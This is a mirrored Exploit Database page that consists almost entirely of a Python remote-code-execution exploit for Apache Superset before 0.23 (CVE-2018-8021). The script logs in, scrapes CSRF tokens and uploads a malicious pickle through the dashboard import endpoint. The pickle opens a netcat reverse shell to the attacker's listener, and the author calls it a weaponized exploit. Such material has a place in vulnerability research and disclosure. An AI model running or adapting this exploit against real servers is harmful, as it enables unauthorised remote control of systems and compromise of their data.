Apache Superset < 0.23 - Remote Code Execution

• Exploit Database
• 93 阅读

• 作者： David May
  日期： 2018-12-03
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45933/

• # Exploit Title: Apache Superset < 0.23 - Remote Code Execution
  # Date: 2018-05-17
  # Exploit Author: David May (david.may@semanticbits.com)
  # Vendor Homepage: https://superset.apache.org/
  # Software Link: https://github.com/apache/incubator-superset
  # Version: Any before 0.23
  # Tested on: Ubuntu 18.04
  # CVE-ID: CVE-2018-8021
  
  # I originally disclosed this to the Apache Superset team back in May, and the fix had already been 
  # in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.
  
  #!/usr/bin/env python
  
  import sys
  import os
  from lxml import html
  import requests
  
  # Change these values to your TCP listener
  myIP = '192.168.137.129'
  myPort = '8888'
  # Credentials must belong to user with 'can Import Dashboards on Superset' privilege
  username = 'test'
  password = 'test'
  
  # Logic in case script arguments are not given
  if len(sys.argv) < 3:
  	print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')
  	print('Script Usage:')
  	print('./supersetrce.py <superset server ip> <superset port>')
  	sys.exit()
  	
  else:
  	# Script arguments
  	supersetIP = sys.argv[1]
  	supersetPort = sys.argv[2]
  	# Verify these URLs match your environment
  	login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'
  	upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'
  	
  	# Checks to see if file that we are going to write already exists in case this is run more than once
  	if os.path.isfile('evil.pickle'):
  		os.remove('evil.pickle')
  		
  	# Headers that we append to our POST requests
  	headers_dict = {
  		'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
  		'DNT': '1',
  		'Connection': 'close',
  		'Upgrade-Insecure-Requests': '1',
  	}
  	
  	# Creates evil pickle file and writes the reverse shell to it
  	evilPickle = open('evil.pickle','w+')
  	evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.')
  	evilPickle.close()
  	
  	# Start a session so we have persistent cookies
  	session = requests.session()	
  	
  	# Grabs the Login page to parse it for its CSRF token
  	login_page = session.get(login_URL)
  	if login_page.status_code != 200:
  		print('Login page not reached, verify URLs in script')
  	login_tree = html.fromstring(login_page.content)
  	csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')
  	
  	# Form data that is sent in the POST request to Login page
  	login_data = {
  		'csrf_token' : csrf_token,
  		'username' : username,
  		'password' : password,
  	}
  	
  	# Adds the Referer header for the login page
  	headers_dict['Referer'] = login_URL
  	
  	# Logon action
  	login = session.post(login_URL, headers=headers_dict, data=login_data)	
  	
  	# Grabs the Upload page to parse it for its CSRF token
  	upload_page = session.get(upload_URL)
  	if upload_page.status_code != 200:
  		print('Upload page not reached, verify credentials and URLs in script')
  	upload_tree = html.fromstring(upload_page.content)
  	csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')
  	
  	# Adds the Referer header for the Upload page
  	headers_dict['Referer'] = upload_URL
  	
  	# Upload action
  	upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})
  	
  	# Closes the session
  	session.close()
  	sys.exit()
  

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